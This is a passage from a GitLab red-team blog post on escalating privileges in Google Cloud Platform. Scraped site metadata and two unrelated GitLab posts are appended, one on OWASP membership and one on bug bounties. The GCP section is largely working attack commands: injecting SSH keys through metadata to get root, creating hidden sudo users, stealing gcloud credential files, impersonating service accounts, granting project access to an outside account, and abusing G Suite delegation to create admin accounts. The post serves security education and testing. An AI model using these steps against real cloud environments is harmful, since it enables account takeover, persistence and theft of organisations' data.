AAAAB3NzaC1yc2EAAAADAQABAAABAQC2fNZlw22d3mIAcfRV24bmIrOUn8l9qgOGj1LQgOTBPLAVMDAbjrM/98SIa1NainYfPSK4oh/06s7xi5B8IzECrwqfwqX0Z3VbW9oQbnlaBz6AYwgGHE3Fdrbkg/Ew8SZAvvvZ3bCwv0i5s+vWM3ox5SIs7/W4vRQBUB4DIDPtj0nK1d1ibxCa59YA8GdpIf797M0CKQ85DIjOnOrlvJH/qUnZ9fbhaHzlo2aSVyE6/wRMgToZedmc6RzQG2byVxoyyLPovt1rAZOTTONg2f3vu62xVa/PIk4cEtCN3dTNYYf3NxMPRF6HCbknaM9ixmu3ImQ7+vG3M+g9fALhBmmF bob\n ...\n```\n\nNotice the slightly odd format of the public keys - the username is listed at the beginning (followed by a colon) and then again at the end. We'll need to match this format. Unlike normal SSH key operation, the username absolutely matters!\n\nSave the lines with usernames and keys in a new text file called `meta.txt`.\n\nLet's assume we are targeting the user `alice` from above. We'll generate a new key for ourselves like this:\n\n```\n$ ssh-keygen -t rsa -C \"alice\" -f ./key -P \"\" && cat ./key.pub\n```\n\nTake the output of the command above and use it to add a line to the `meta.txt` file you create above, ensuring to add `alice:` to the beggining of your new public key.\n\n`meta.txt` should now look something like this, including the existing keys and the new key you just generated:\n\n```\nalice:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/SQup1eHdeP1qWQedaL64vc7j7hUUtMMvNALmiPfdVTAOIStPmBKx1eN5ozSySm5wFFsMNGXPp2ddlFQB5pYKYQHPwqRJp1CTPpwti+uPA6ZHcz3gJmyGsYNloT61DNdAuZybkpPlpHH0iMaurjhPk0wMQAMJUbWxhZ6TTTrxyDmS5BnO4AgrL2aK+peoZIwq5PLMmikRUyJSv0/cTX93PlQ4H+MtDHIvl9X2Al9JDXQ/Qhm+faui0AnS8usl2VcwLOw7aQRRUgyqbthg+jFAcjOtiuhaHJO9G1Jw8Cp0iy/NE8wT0/tj9smE1oTPhdI+TXMJdcwysgavMCE8FGzZ alice\nbob:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2fNZlw22d3mIAcfRV24bmIrOUn8l9qgOGj1LQgOTBPLAVMDAbjrM/98SIa1NainYfPSK4oh/06s7xi5B8IzECrwqfwqX0Z3VbW9oQbnlaBz6AYwgGHE3Fdrbkg/Ew8SZAvvvZ3bCwv0i5s+vWM3ox5SIs7/W4vRQBUB4DIDPtj0nK1d1ibxCa59YA8GdpIf797M0CKQ85DIjOnOrlvJH/qUnZ9fbhaHzlo2aSVyE6/wRMgToZedmc6RzQG2byVxoyyLPovt1rAZOTTONg2f3vu62xVa/PIk4cEtCN3dTNYYf3NxMPRF6HCbknaM9ixmu3ImQ7+vG3M+g9fALhBmmF bob\nalice:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDnthNXHxi31LX8PlsGdIF/wlWmI0fPzuMrv7Z6rqNNgDYOuOFTpM1Sx/vfvezJNY+bonAPhJGTRCwAwytXIcW6JoeX5NEJsvEVSAwB1scOSCEAMefl0FyIZ3ZtlcsQ++LpNszzErreckik3aR+7LsA2TCVBjdlPuxh4mvWBhsJAjYS7ojrEAtQsJ0mBSd20yHxZNuh7qqG0JTzJac7n8S5eDacFGWCxQwPnuINeGoacTQ+MWHlbsYbhxnumWRvRiEm7+WOg2vPgwVpMp4sgz0q5r7n/l7YClvh/qfVquQ6bFdpkVaZmkXoaO74Op2Sd7C+MBDITDNZPpXIlZOf4OLb alice\n```\n\nNow, you can re-write the SSH key metadata for your instance with the following command:\n\n```\n$ gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt\n```\n\nYou can now access a shell in the context of `alice` as follows:\n\n```\nlowpriv@instance:~$ ssh -i ./key alice@localhost\nalice@instance:~$ sudo id\nuid=0(root) gid=0(root) groups=0(root)\n```\n\n##### Create a new privileged user\n\nNo existing keys found when following the steps above? No one else interesting in `/etc/passwd` to target?\n\nYou can follow the same process as above, but just make up a new username. This user will be created automatically and given rights to `sudo`. Scripted, the process would look like this:\n\n```\n# define the new account username\nNEWUSER=\"definitelynotahacker\"\n\n# create a key\nssh-keygen -t rsa -C \"$NEWUSER\" -f ./key -P \"\"\n\n# create the input meta file\nNEWKEY=\"$(cat ./key.pub)\"\necho \"$NEWUSER:$NEWKEY\" > ./meta.txt\n\n# update the instance metadata\ngcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt\n\n# ssh to the new account\nssh -i ./key \"$NEWUSER\"@localhost\n```\n##### Grant sudo to existing session\nThis one is so easy, quick, and dirty that it feels wrong...\n\n```\n$ gcloud compute ssh [INSTANCE NAME]\n```\n\nThis will generate a new SSH key, add it to your existing user, and add your existing username to the `google-sudoers` group, and start a new SSH session. While it is quick and easy, it may end up making more changes to the target system than the previous methods.\n\nWe'll talk about this again for lateral movement, but it works perfectly fine for local privilege escalation as well.\n\n##### Using OS Login\n\n[OS Login](https://cloud.google.com/compute/docs/oslogin/) is an alternative to managing SSH keys. It links a Google user or service account to a Linux identity, relying on IAM permissions to grant or deny access to Compute Instances.\n\nOS Login is [enabled](https://cloud.google.com/compute/docs/instances/managing-instance-access#enable_oslogin) at the project or instance level using the metadata key of `enable-oslogin = TRUE`.\n\nOS Login with two-factor authentication is [enabled](https://cloud.google.com/compute/docs/oslogin/setup-two-factor-authentication) in the same manner with the metadata key of `enable-oslogin-2fa = TRUE`.\n\nThe following two IAM permissions control SSH access to instances with OS Login enabled. They can be applied at the project or instance level:\n\n- roles/compute.osLogin (no sudo)\n- roles/compute.osAdminLogin (has sudo)\n\nUnlike managing only with SSH keys, these permissions allow the administrator to control whether or not `sudo` is granted.\n\nIf you're lucky, your service account has these permissions. You can simply run the `gcloud compute ssh [INSTANCE]` command to [connect manually as the service account](https://cloud.google.com/compute/docs/instances/connecting-advanced#sa_ssh_manual). Two-factor is only enforced when using user accounts, so that should not slow you down even if it is assigned as shown above.\n\nSimilar to using SSH keys from metadata, you can use this strategy to escalate privileges locally and/or to access other Compute Instances on the network.\n\n## Lateral movement\n\nYou've compromised one VM inside a project. Great! Now let's get some more...\n\nYou can try the following command to get a list of all instances in your current project:\n\n```\n$ gcloud compute instances list\n```\n\n### SSH'ing around\n\nYou can use the local privilege escalation tactics above to move around to other machines. Read through those sections for a detailed description of each method and the associated commands.\n\nWe can expand upon those a bit by [applying SSH keys at the project level](https://cloud.google.com/compute/docs/instances/adding-removing-ssh-keys#project-wide), granting you permission to SSH into a privileged account for any instance that has not explicitly chosen the \"Block project-wide SSH keys\" option.\n\nAfter you've identified the strategy for selecting or creating a new user account, you can use the following syntax.\n\n```\n$ gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt\n```\n\nIf you're really bold, you can also just type `gcloud compute ssh [INSTANCE]` to use your current username on other boxes.\n\n### Abusing networked services\n\n#### Some GCP networking tidbits\n\nCompute Instances are connected to networks called VPCs or [Virtual Private Clouds](https://cloud.google.com/vpc/docs/vpc). [GCP firewall](https://cloud.google.com/vpc/docs/firewalls) rules are defined at this network level but are applied individually to a Compute Instance. Every network, by default, has two [implied firewall rules](https://cloud.google.com/vpc/docs/firewalls#default_firewall_rules): allow outbound and deny inbound.\n\nEach GCP project is provided with a VPC called `default`, which applies the following rules to all instances:\n\n- default-allow-internal (allow all traffic from other instances on the `default` network)\n- default-allow-ssh (allow 22 from everywhere)\n- default-allow-rdp (allow 3389 from everywhere)\n- default-allow-icmp (allow ping from everywhere)\n\n#### Meet the neighbors\n\nFirewall rules may be more permissive for internal IP addresses. This is especially true for the default VPC, which permits all traffic between Compute Instances.\n\nYou can get a nice readable view of all the subnets in the current project with the following command:\n\n```\n$ gcloud compute networks subnets list\n```\n\nAnd an overview of all the internal/external IP addresses of the Compute Instances using the following:\n\n```\n$ gcloud compute instances list\n```\n\nIf you go crazy with nmap from a Compute Instance, Google will notice and will likely send an alert email to the project owner. This is more likely to happen if you are scanning public IP addresses outside of your current project. Tread carefully.\n\n#### Enumerating public ports\n\nPerhaps you've been unable to leverage your current access to move through the project internally, but you DO have read access to the compute API. It's worth enumerating all the instances with firewall ports open to the world - you might find an insecure application to breach and hope you land in a more powerful position.\n\nIn the section above, you've gathered a list of all the public IP addresses. You could run nmap against them all, but this may taken ages and could get your source IP blocked.\n\nWhen attacking from the internet, the default rules don't provide any quick wins on properly configured machines. It's worth checking for password authentication on SSH and weak passwords on RDP, of course, but that's a given.\n\nWhat we are really interested in is other firewall rules that have been intentionally applied to an instance. If we're lucky, we'll stumble over an insecure application, an admin interface with a default password, or anything else we can exploit.\n\n[Firewall rules](https://cloud.google.com/vpc/docs/firewalls) can be applied to instances via the following methods:\n\n- [Network tags](https://cloud.google.com/vpc/docs/add-remove-network-tags)\n- [Service accounts](https://cloud.google.com/vpc/docs/firewalls#serviceaccounts)\n- All instances within a VPC\n\nUnfortunately, there isn't a simple `gcloud` command to spit out all Compute Instances with open ports on the internet. You have to connect the dots between firewall rules, network tags, services accounts, and instances.\n\nWe've automated this completely using [this python script](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_firewall_enum) which will export the following:\n\n- CSV file showing instance, public IP, allowed TCP, allowed UDP\n- nmap scan to target all instances on ports ingress allowed from the public internet (0.0.0.0/0)\n- masscan to target the full TCP range of those instances that allow ALL TCP ports from the public internet (0.0.0.0/0)\n\nFull documentation on that tool is availabe in the [README](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_firewall_enum/blob/master/README.md).\n\n## Cloud privilege escalation\n\nIn this section, we'll talk about ways to potentially increase our privileges within the cloud environment itself.\n\n### Organization-level IAM permissions\n\nMost of the commands in this blog focus on obtaining project-level data. However, it's important to know that permissions can be set at the highest level of \"Organization\" as well. If you can enumerate this info, this will give you an idea of which accounts may have access across all of the projects inside an org.\n\nThe following commands will list the policies set at this level:\n\n```\n# First, get the numeric organization ID\n$ gcloud organizations list\n\n# Then, enumerate the policies\n$ gcloud organizations get-iam-policy [ORG ID]\n```\n\nPermissions you see in this output will be applied to EVERY project. If you don't have access to any of the accounts listed, continue reading to the [Service Account Impersonation](#service-account-impersonation) section below.\n\n### Bypassing access scopes\n\nThere's nothing worse than having access to a powerful service account but being limited by the access scopes of your current OAuth token. But fret not! Just the existence of that powerful account introduces risks which we might still be able to abuse.\n\n#### Pop another box\n\nIt's possible that another box in the environment exists with less restrictive access scopes. If you can view the output of `gcloud compute instances list --quiet --format=json`, look for instances with either the specific scope you want or the `auth/cloud-platform` all-inclusive scope.\n\nAlso keep an eye out for instances that have the default service account assigned (`PROJECT_NUMBER-compute@developer.gserviceaccount.com`).\n\n#### Find service account keys\n\nGoogle states very clearly [**\"Access scopes are not a security mechanism... they have no effect when making requests not authenticated through OAuth\"**](https://cloud.google.com/compute/docs/access/service-accounts#accesscopesiam).\n\nSo, if we have a powerful service account but a limited OAuth token, we need to somehow authenticate to services without OAuth.\n\nThe easiest way to do this would be to stumble across a [service account key](https://cloud.google.com/iam/docs/creating-managing-service-account-keys) stored on the instance. These are RSA private keys that can be used to authenticate to the Google Cloud API and request a new OAuth token with no scope limitations.\n\nYou can tell which service accounts, if any, have had key files exported for them. This will let you know whether or not it's even worth hunting for them, and possibly give you some hints on where to look. The command below will help.\n\n```\n$ for i in $(gcloud iam service-accounts list --format=\"table[no-heading](email)\"); do\n    echo Looking for keys for $i:\n    gcloud iam service-accounts keys list --iam-account $i\ndone\n```\n\nThese files are not stored on a Compute Instance by default, so you'd have to be lucky to encounter them. When a service account key file is exported from the GCP console, the default name for the file is [project-id]-[portion-of-key-id].json. So, if your project name is `test-project` then you can search the filesystem for `test-project*.json` looking for this key file.\n\nThe contents of the file look something like this:\n\n```\n{\n\"type\": \"service_account\",\n\"project_id\": \"[PROJECT-ID]\",\n\"private_key_id\": \"[KEY-ID]\",\n\"private_key\": \"-----BEGIN PRIVATE KEY-----\\n[PRIVATE-KEY]\\n-----END PRIVATE KEY-----\\n\",\n\"client_email\": \"[SERVICE-ACCOUNT-EMAIL]\",\n\"client_id\": \"[CLIENT-ID]\",\n\"auth_uri\": \"https://accounts.google.com/o/oauth2/auth\",\n\"token_uri\": \"https://accounts.google.com/o/oauth2/token\",\n\"auth_provider_x509_cert_url\": \"https://www.googleapis.com/oauth2/v1/certs\",\n\"client_x509_cert_url\": \"https://www.googleapis.com/robot/v1/metadata/x509/[SERVICE-ACCOUNT-EMAIL]\"\n}\n\n```\n\nOr, if generated from the CLI they will look like this:\n\n```\n{\n\"name\": \"projects/[PROJECT-ID]/serviceAccounts/[SERVICE-ACCOUNT-EMAIL]/keys/[KEY-ID]\",\n\"privateKeyType\": \"TYPE_GOOGLE_CREDENTIALS_FILE\",\n\"privateKeyData\": \"[PRIVATE-KEY]\",\n\"validAfterTime\": \"[DATE]\",\n\"validBeforeTime\": \"[DATE]\",\n\"keyAlgorithm\": \"KEY_ALG_RSA_2048\"\n}\n```\n\nIf you do find one of these files, you can tell the `gcloud` command to re-authenticate with this service account. You can do this on the instance, or on any machine that has the tools installed.\n\n```\n$ gcloud auth activate-service-account --key-file [FILE]\n```\n\nYou can now test your new OAuth token as follows:\n\n```\n$ TOKEN=`gcloud auth print-access-token`\n$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=$TOKEN\n```\n\nYou should see `https://www.googleapis.com/auth/cloud-platform` listed in the scopes, which means you are not limited by any instance-level access scopes. You now have full power to use all of your assigned IAM permissions.\n\n#### Steal gcloud authorizations\n\nIt's quite possible that other users on the same box have been running `gcloud` commands using an account more powerful than your own. You'll need local root to do this.\n\nFirst, find what `gcloud` config directories exist in users' home folders.\n\n```\n$ sudo find / -name \"gcloud\"\n```\n\nYou can manually inspect the files inside, but these are generally the ones with the secrets:\n\n- ~/.config/gcloud/credentials.db\n- ~/.config/gcloud/legacy_credentials/[ACCOUNT]/adc.json\n- ~/.config/gcloud/legacy_credentials/[ACCOUNT]/.boto\n- ~/.credentials.json\n\nNow, you have the option of looking for clear text credentials in these files or simply copying the entire `gcloud` folder to a machine you control and running `gcloud auth list` to see what accounts are now available to you.\n\n### Service account impersonation\n\nThere are three ways in which you can [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):\n\n- Authentication using RSA private keys (covered [above](#find-service-account-keys))\n- Authorization using Cloud IAM policies (covered below)\n- Deploying jobs on GCP services (more applicable to the compromise of a user account)\n\nIt's possible that the service account you are currently authenticated as has permission to impersonate other accounts with more permissions and/or a less restrictive scope. This behavior is authorized by the predefined role called `iam.serviceAccountTokenCreator`.\n\nA good example here is that you've compromised an instance running as a custom service account with this role, and the default service account still exists in the project. As the default service account has the primitive role of Project Editor, it is possibly even more powerful than the custom account.\n\nEven better, you might find a service account with the primitive role of Owner. This gives you full permissions, and is a good target to then grant your own Google account rights to log in to the project using the web console.\n\n`gcloud` has a `--impersonate-service-account` [flag](https://cloud.google.com/sdk/gcloud/reference/#--impersonate-service-account) which can be used with any command to execute in the context of that account.\n\nTo give this a shot, you can try the following:\n\n```\n# View available service accounts\n$ gcloud iam service-accounts list\n\n# Impersonate the account\n$ gcloud compute instances list \\\n    --impersonate-service-account xxx@developer.gserviceaccount.com\n```\n\n### Exploring other projects\n\nIf you're really lucky, either the service account on your compromised instance or another account you've bagged thus far has access to additional GCP projects. You can check with the following command:\n\n```\n$ gcloud projects list\n```\n\nFrom here, you can hop over to that project and start the entire process over.\n\n```\n$ gcloud config set project [PROJECT-ID]\n```\n\n### Granting access to management console\n\nAccess to the [GCP management console](https://console.cloud.google.com/) is provided to user accounts, not service accounts. To log in to the web interface, you can grant access to a Google account that you control. This can be a generic \"@gmail.com\" account, it does not have to be a member of the target organization.\n\nTo grant the primitive role of Owner to a generic \"@gmail.com\" account, though, you'll need to use the web console. `gcloud` will error out if you try to grant it a permission above Editor.\n\nYou can use the following command to grant a user the primitive role of Editor to your existing project:\n\n```\n$ gcloud projects add-iam-policy-binding [PROJECT] \\\n    --member user:[EMAIL] --role roles/editor\n```\n\nIf you succeeded here, try accessing the web interface and exploring from there.\n\nThis is the highest level you can assign using the gcloud tool. To assign a permission of Owner, you'd need to use the console itself.\n\nYou need a fairly high level of permission to do this. If you're not quite there, keep reading.\n\n### Spreading to G Suite via domain-wide delegation of authority\n\n[G Suite](https://gsuite.google.com/) is Google's collaboration and productivity platform which consists of things like Gmail, Google Calendar, Google Drive, Google Docs, etc. Many organizations use some or all of this platform as an alternative to traditional Microsoft AD/Exchange environments.\n\nService accounts in GCP can be granted the rights to programatically access user data in G Suite by impersonating legitimate users. This is known as [domain-wide delegation](https://developers.google.com/admin-sdk/reports/v1/guides/delegation). This includes actions like reading email in GMail, accessing Google Docs, and even creating new user accounts in the G Suite organization.\n\nG Suite has [its own API](https://developers.google.com/gsuite/aspects/apis), completely separate from anything else we've explored in this blog. Permissions are granted to G Suite API calls in a similar fashion to how permissions are granted to GCP APIs. However, G Suite and GCP are two different entities - being in one does not mean you automatically have access to another.\n\nIt is possible that a G Suite administrator has granted some level of G Suite API access to a GCP service account that you control. If you have access to the Web UI at this point, you can browse to IAM -> Service Accounts and see if any of the accounts have \"Enabled\" listed under the \"domain-wide delegation\" column. The column itself may not appear if no accounts are enabled. As of this writing, there is no way to do this programatically, although there is a [request for this feature](https://issuetracker.google.com/issues/116182848) in Google's bug tracker.\n\nIt is not enough for you to simply enable this for a service account inside GCP. The G Suite administrator would also have to configure this in the G Suite admin console.\n\nWhether or not you know that a service account has been given permissions inside G Suite, you can still try it out. You'll need the service account credentials exported in JSON format. You may have acquired these in an earlier step, or you may have the access required now to create a key for a service account you know to have domain-wide delegation enabled.\n\nThis topic is a bit tricky... your service account has something called a \"client_email\" which you can see in the JSON credential file you export. It probably looks something like `account-name@project-name.iam.gserviceaccount.com`. If you try to access G Suite API calls directly with that email, even with delegation enabled, you will fail. This is because the G Suite directory will not include the GCP service account's email addresses. Instead, to interact with G Suite, we need to actually impersonate valid G Suite users.\n\nWhat you really want to do is to impersonate a user with administrative access, and then use that access to do something like reset a password, disable multi-factor authentication, or just create yourself a shiny new admin account.\n\nWe've created [this Python script](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_misc/blob/master/gcp_delegation.py) that can do two things - list the user directory and create a new administrative account. Here is how you would use it:\n\n```\n# Validate access only\n$ ./gcp_delegation.py --keyfile ./credentials.json \\\n    --impersonate steve.admin@target-org.com \\\n    --domain target-org.com\n\n# List the directory\n$ ./gcp_delegation.py --keyfile ./credentials.json \\\n    --impersonate steve.admin@target-org.com \\\n    --domain target-org.com \\\n    --list\n\n# Create a new admin account\n$ ./gcp_delegation.py --keyfile ./credentials.json \\\n    --impersonate steve.admin@target-org.com \\\n    --domain target-org.com \\\n    --account pwned\n```\n\nYou can try this script across a range of email addresses to impersonate various users. Standard output will indicate whether or not the service account has access to G Suite, and will include a random password for the new admin account if one is created.\n\nIf you have success creating a new admin account, you can log on to the [Google admin console](https://admin.google.com) and have full control over everything in G Suite for every user - email, docs, calendar, etc. Go wild.",[14,1212,958],{"slug":4663,"featured":6,"template":677},"plundering-gcp-escalating-privileges-in-google-cloud-platform","content:en-us:blog:plundering-gcp-escalating-privileges-in-google-cloud-platform.yml","Plundering Gcp Escalating Privileges In Google Cloud Platform","en-us/blog/plundering-gcp-escalating-privileges-in-google-cloud-platform.yml","en-us/blog/plundering-gcp-escalating-privileges-in-google-cloud-platform",{"_path":4669,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4670,"content":4676,"config":4681,"_id":4683,"_type":16,"title":4684,"_source":17,"_file":4685,"_stem":4686,"_extension":20},"/en-us/blog/gitlab-is-now-a-member-of-the-owasp-foundation",{"title":4671,"description":4672,"ogTitle":4671,"ogDescription":4672,"noIndex":6,"ogImage":4673,"ogUrl":4674,"ogSiteName":767,"ogType":768,"canonicalUrls":4674,"schema":4675},"GitLab is now a member of the OWASP Foundation","GitLab is thrilled to announce our membership in the OWASP Foundation.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679658/Blog/Hero%20Images/Owasp_logo.jpg","https://about.gitlab.com/blog/gitlab-is-now-a-member-of-the-owasp-foundation","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab is now a member of the OWASP Foundation\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Wayne Haber\"}],\n        \"datePublished\": \"2020-01-21\",\n      }",{"title":4671,"description":4672,"authors":4677,"heroImage":4673,"date":4678,"body":4679,"category":14,"tags":4680},[3830],"2020-01-21","\n\nGitLab is thrilled to announce our membership in the [OWASP Foundation](https://www2.owasp.org/).  OWASP is a non-profit that works to improve the security of software through open-source projects, worldwide local chapters, tens of thousands of members, and educational/training conferences.\n\nWe leverage OWASP to help provide security features integrated into the development lifecycle via the [Secure stage](/stages-devops-lifecycle/secure/) and defending your apps and infrastructure from security intrusions via the [Protect stage](/stages-devops-lifecycle/govern/).  We also leverage OWASP on our  [security team](/handbook/security/) who are responsible for the security posture of the company, products, and client-facing services.\n\n## Our favorite OWASP initiatives\n\nOur favorite OWASP initiatives include:\n* [OWASP Top 10](https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project) - standard awareness document for developers for web application security\n* [WebGoat](https://owasp.org/www-project-webgoat/) - a deliberately insecure application that allows interested developers to test commonly found vulnerabilities\n* [ModSecurity WAF ruleset](https://www.owasp.org/index.php/Category:OWASP_ModSecurity_Core_Rule_Set_Project) - a set of generic attack detection rules for use with web application firewalls\n* [ZED Attack Proxy](https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project) - a penetration testing tool designed for testing web applications\n* [Benchmark](https://www.owasp.org/index.php/Benchmark) - a test suite designed to evaluate the accuracy, coverage, and speed of automated software vulnerability detection tools\n* [Find Security Bugs](https://www.owasp.org/index.php/OWASP_Find_Security_Bugs) - find security bugs\n* [Dependency Check](https://www.owasp.org/index.php/OWASP_Dependency_Check) - a tool that attempts to detect publicly disclosed vulnerabilities contained within a project’s dependencies\n* [Juice Shop](https://owasp.org/www-project-juice-shop/) - an intentionally insecure web application that can be used in security training and validation\n* [Software Assurity Maturity Model](https://www.owasp.org/index.php/OWASP_SAMM_Project) - an open framework to help organizations formulate and implement a strategy for software security\n\nOur membership allows us to support these OWASP projects while also allowing us to help shape the direction of the OWASP community.\n\n## OWASP AppSec California\n\nPlease meet us at [OWASP's AppSec California conference](https://2020.appseccalifornia.org/), which we are sponsoring.  It is Jan 21 thru Jan 24 in Santa Monica, CA.\n\n## We are hiring!\n\nIf all of this piques your interest, a reminder that GitLab is hiring for our engineering (secure, protect) and security teams!  Please review our [open jobs](/jobs/).\n\n",[277,798,958,14],{"slug":4682,"featured":6,"template":677},"gitlab-is-now-a-member-of-the-owasp-foundation","content:en-us:blog:gitlab-is-now-a-member-of-the-owasp-foundation.yml","Gitlab Is Now A Member Of The Owasp Foundation","en-us/blog/gitlab-is-now-a-member-of-the-owasp-foundation.yml","en-us/blog/gitlab-is-now-a-member-of-the-owasp-foundation",{"_path":4688,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4689,"content":4695,"config":4700,"_id":4702,"_type":16,"title":4703,"_source":17,"_file":4704,"_stem":4705,"_extension":20},"/en-us/blog/celebrating-one-million-bug-bounties-paid",{"title":4690,"description":4691,"ogTitle":4690,"ogDescription":4691,"noIndex":6,"ogImage":4692,"ogUrl":4693,"ogSiteName":767,"ogType":768,"canonicalUrls":4693,"schema":4694},"Celebrating a million dollars in bounties paid","Our bug bounty program has grown, expanded and matured in the past 5 years. A lot can happen in a million dollars’ time.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680992/Blog/Hero%20Images/silhouette-of-crowd-people-1486628.jpg","https://about.gitlab.com/blog/celebrating-one-million-bug-bounties-paid","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Celebrating a million dollars in bounties paid\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather Simpson\"}],\n        \"datePublished\": \"2020-01-14\",\n      }",{"title":4690,"description":4691,"authors":4696,"heroImage":4692,"date":4697,"body":4698,"category":14,"tags":4699},[3178],"2020-01-14","\n\nWhat started as a small, public vulnerability disclosure program awarding swag on qualified reports has grown into a thriving public bug bounty program that’s just paid out its millionth dollar in bounties and has seen contributions from hundreds of security researchers.   \n\nBut it's about much more than a million dollars in bounty payments. Our journey to this point has been an iterative one, gaining strength and improving along the way as we grow, learn and receive feedback from the security research community. We believe our journey models our commitment to building a strong and secure product for our customers but also our dedication to the open source and security community; one where everyone can contribute and also reap the rewards.  \n\n### Swags to riches  \n\nKnowing we needed to walk before we could run, the swag-awarding public vulnerability disclosure program we’d opened in 2014 quickly moved to a private, paid bounty program including a small pool of researchers, many of whom gained access through the previous vulnerability disclosure program. As we grew our security and appsec team and seasoned our processes around how we prioritize reports and how we collaborate internally to define and implement fixes, we quickly understood we’d want an open, public program where an entire community of security researchers could contribute. With the help of HackerOne, we built and [launched our public bug bounty program in December 2018](/blog/gitlab-hackerone-bug-bounty-program-is-public-today/). We’re excited to have just celebrated our one year anniversary as a public program in December 2019.  \n\n### So, what does a million dollars in bug bounties look like?  \n\n• Our appsec team has worked with 768 different researchers since our PVD launched in 2014, including several of HackerOne’s all-time leading reporters. \n\n• We’ve resolved 479 reports and made 400 of those reports public.  \n\n• 227 security researchers submitted multiple reports, meaning their first engagement with us was a positive one.    \n  \n[Transparency is key to security](/handbook/security/#security-vision) at GitLab. Transparency is also one of our core values and it's very important to our bug bounty program. You can see from our [disclosure policy](https://hackerone.com/gitlab) that resolved reports are made public via issues on GitLab.com 30 days after releasing a fix. There are certain reports, however, that we cannot disclose due to sensitive information, either at the request of the reporter or to protect a customer.    \n\nBeing transparent about our security issues allows customers to see the importance we place on securing our product. There are security issues in every tool and application out there – that’s a given. By disclosing full vulnerability information after 30 days, we give customers the time and information to understand the vulnerabilities that have been found and fixed, and to determine any potential impact in their environment. Being transparent about our environment helps us to grow and strengthen the trust customers place in us. Also publicly disclosing valid bugs reduces the threshold to contribute and helps security reporters build upon previous findings, which ultimately makes our product and customers more secure.  \n\n[Iteration](https://handbook.gitlab.com/handbook/values/#iteration) is one of GitLab’s core values. And our bug bounty program is no different. In the time since launching our public program at the end of 2018, we’ve taken feedback from our security research community and [reduced the time to bounty payout](/blog/reducing-time-to-payout-and-launching-a-bug-bounty-anniversary-contest/), moving part of the payout to the moment a report is triaged (on average, 5 days after the report is submitted), with the remainder of the payment happening once the report is resolved. Another improvement that’s been especially popular has been our decision to increase bounties for [critical and high severity reports](/blog/were-increasing-bounties-in-our-bug-bounty-program/). But, we know it's not all about bounties and payouts. Other less exciting, but key, foundational components of our program like [triage, response and overall communications](/blog/what-we-learned-by-taking-our-bug-bounty-program-public/) stay top of mind to ensure we’re keeping hackers engaged.   \n\n### And, what does the next million dollars in bounties paid hold? \n\nWe were proud to see the results of our most recent [bug bounty contest](/blog/bugs-bounties-and-cherry-browns/) (held October 1-November 30, 2019) include 279 reports from 123 different individuals (89 of them coming from new reporters!). We aim to keep reporters incentivized, motivated, and engaged to find bugs on our platform. Our public bug bounty program is as important to the security of our product and company as any other program we run within our Security Team here at GitLab, so we will continue to look at how we can strengthen and improve our processes and program, but also invite the feedback of our security research community for changes and updates they’d like to see.  \n\nThank you to the security research community for your expertise, your innovative findings and techniques, and for making our product stronger and more secure!  \n\nHappy Hacking!   \n\n\nPhoto by [Joey Theswampboi](https://www.pexels.com/@joey-theswampboi-442839) on [Pexels](https://pexels.com/)\n{: .note}\n",[14,899,958],{"slug":4701,"featured":6,"template":677},"celebrating-one-million-bug-bounties-paid","content:en-us:blog:celebrating-one-million-bug-bounties-paid.yml","Celebrating One Million Bug Bounties Paid","en-us/blog/celebrating-one-million-bug-bounties-paid.yml","en-us/blog/celebrating-one-million-bug-bounties-paid",{"_path":4707,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4708,"content":4714,"config":4720,"_id":4722,"_type":16,"title":4723,"_source":17,"_file":4724,"_stem":4725,"_extension":20},"/en-us/blog/introducing-token-hunter",{"title":4709,"description":4710,"ogTitle":4709,"ogDescription":4710,"noIndex":6,"ogImage":4711,"ogUrl":4712,"ogSiteName":767,"ogType":768,"canonicalUrls":4712,"schema":4713},"Introducing Token-Hunter","Our red team has created a new tool to find sensitive data in the vast, wide-open.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679669/Blog/Hero%20Images/lightscape-Bsw6l6e01Rw-unsplash.jpg","https://about.gitlab.com/blog/introducing-token-hunter","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Introducing Token-Hunter\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Greg Johnson\"}],\n        \"datePublished\": \"2019-12-20\",\n      }",{"title":4709,"description":4710,"authors":4715,"heroImage":4711,"date":4717,"body":4718,"category":14,"tags":4719},[4716],"Greg Johnson","2019-12-20","\n\nWe operate business at GitLab in a [“public by default”](https://handbook.gitlab.com/handbook/values/#public-by-default) mindset so other people can benefit from our transparent business practices. Defaulting to public sharing also means we store massive amounts of data in a public format by design. Much of what we do as a company takes the form of a GitLab issue and is open for the world to see, including those individuals with nefarious goals. Naturally, for a [Red Team](/handbook/security/threat-management/red-team/), we’re curious about what all of this public information could do to aid someone intent on attacking GitLab. We started our investigation by identifying those secrets that are unintentionally shared across the assets we make public like issues, issue discussions, merge requests, merge request discussions, and snippets. There was no tooling available that accomplished what we set out to do, so we developed it ourselves and just released it: [Token-Hunter](https://gitlab.com/gitlab-com/gl-security/gl-redteam/token-hunter).\n\n### Background\n\nAPI tokens are a keystone in the development world. They facilitate important functionality not only in the software developers build, but also in the deployment, maintenance, integration, and security of both 